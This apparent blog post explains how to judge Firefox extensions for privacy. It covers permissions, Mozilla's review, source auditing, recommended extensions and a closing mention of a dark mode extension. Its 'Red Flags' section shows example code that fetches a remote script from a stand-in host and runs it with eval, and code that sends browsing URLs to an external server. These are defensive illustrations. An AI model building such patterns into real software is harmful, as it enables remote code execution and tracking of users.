Not all Firefox extensions are created equal from a privacy standpoint. An extension can read your browsing history, inject scripts into every page, and send data to third parties — or it can be a minimal, well-audited tool. Here's how to evaluate and choose extensions that don't compromise your privacy.
The Extension Permission Model
When you install an extension, it requests permissions:
-
<all_urls>— can read/modify all websites you visit -
tabs— can see your open tabs, titles, and URLs -
history— can read your full browsing history -
cookies— can read and set cookies on any site -
bookmarks— can read and write bookmarks -
privacy— can change browser privacy settings -
webRequest— can intercept and modify network requests -
storage— can store data (each extension has isolated storage)
An extension with <all_urls> and webRequest can read everything you type on any website.
AMO's Code Review Requirement
Firefox Add-ons (AMO) has a significant advantage over the Chrome Web Store: Mozilla manually reviews extension source code before listing.
The review checks for:
- No obfuscated code
- No hidden data collection beyond what's disclosed
- No use of
eval()with arbitrary remote strings - Compliance with Mozilla's Extension Workshop policies
Recommended badge: Extensions that pass additional scrutiny get the AMO Recommended badge. This means:
- Source code has been reviewed more thoroughly
- Extension follows Mozilla's best practices
- Mozilla has vetted the developer
Look for the Recommended badge when choosing security-sensitive extensions.
High-Risk Permission Combinations to Watch
These combinations should raise questions:
<all_urls> + network requests to unknown servers
→ Extension can read everything you type and send it externally
cookies + <all_urls>
→ Can read any cookie (potentially session tokens)
tabs + history
→ Builds a complete picture of your browsing
scripting + <all_urls>
→ Can inject arbitrary code into every page
Auditing an Extension's Source
For any extension you install, you can read the source code:
- Download the
.xpifile from AMO (it's a zip archive) - Extract:
unzip extension.xpi -d extension-source/ - Read
manifest.jsonfor permissions declared - Check
background.jsfor network calls - Read content scripts to see what they inject
Or use AMO's source viewer directly in Firefox.
Trusted Extension Categories
Ad Blockers
uBlock Origin — Recommended on AMO, open source, no data collection, comprehensive blocklists. The gold standard.
Privacy Badger (EFF) — Open source from Electronic Frontier Foundation, no data collection, blocks trackers based on behavior rather than blocklists.
Password Managers
Bitwarden — Open source, audited annually, end-to-end encrypted, Recommended on AMO.
KeePassXC-Browser — Open source, pairs with KeePassXC desktop app, local storage only.
Network Privacy
Firefox Multi-Account Containers — Made by Mozilla, Recommended, no external connections.
Dark Mode
Dark Reader — Open source, Recommended on AMO, no network calls.
Red Flags to Look For
// Red flag: fetching remote scripts
fetch('https://unknown-server.com/script.js').then(eval);
// Red flag: sending browsing data externally
chrome.webNavigation.onCompleted.addListener(details => {
fetch('https://analytics.extension-maker.com/track', {
method: 'POST',
body: JSON.stringify({ url: details.url, timestamp: Date.now() })
});
});
// Red flag: encoded strings that obfuscate intent
var _0x1234 = ... // Obfuscated code
// Red flag: excessive permissions for simple functionality
// An extension that just changes the new tab page doesn't need <all_urls>
Minimal Footprint Principle
Prefer extensions with:
- Only the permissions needed for their stated purpose
- No "phone home" analytics
- Open source code on GitHub/GitLab
- Active maintenance (commits in last 6 months)
- Small file size (large size might mean bundled telemetry SDKs)
Extension Storage Isolation
Each extension's storage is isolated — one extension can't read another's storage. But content scripts (scripts injected into pages) share the page's execution context with the page's own JavaScript.
A malicious content script could:
- Read the page's DOM (including form values)
- Intercept
fetch()calls - Modify the page's JavaScript
This is why <all_urls> is the highest-risk permission.
After Installation
Review what you've installed regularly:
-
about:addons→ review each extension - Click an extension → Permissions tab
- Check what it can access
- Remove extensions you no longer use
Unused extensions still run and consume resources — and they remain a potential attack vector if the extension developer's account is compromised.
NightOwl Privacy Notes
For reference: NightOwl (the dark mode extension) uses minimal permissions:
-
activeTab— only active tab when you click the extension button -
storage— saves your settings (which sites to exclude) - No analytics, no network calls to external servers
- Source code visible on AMO
Top comments (0)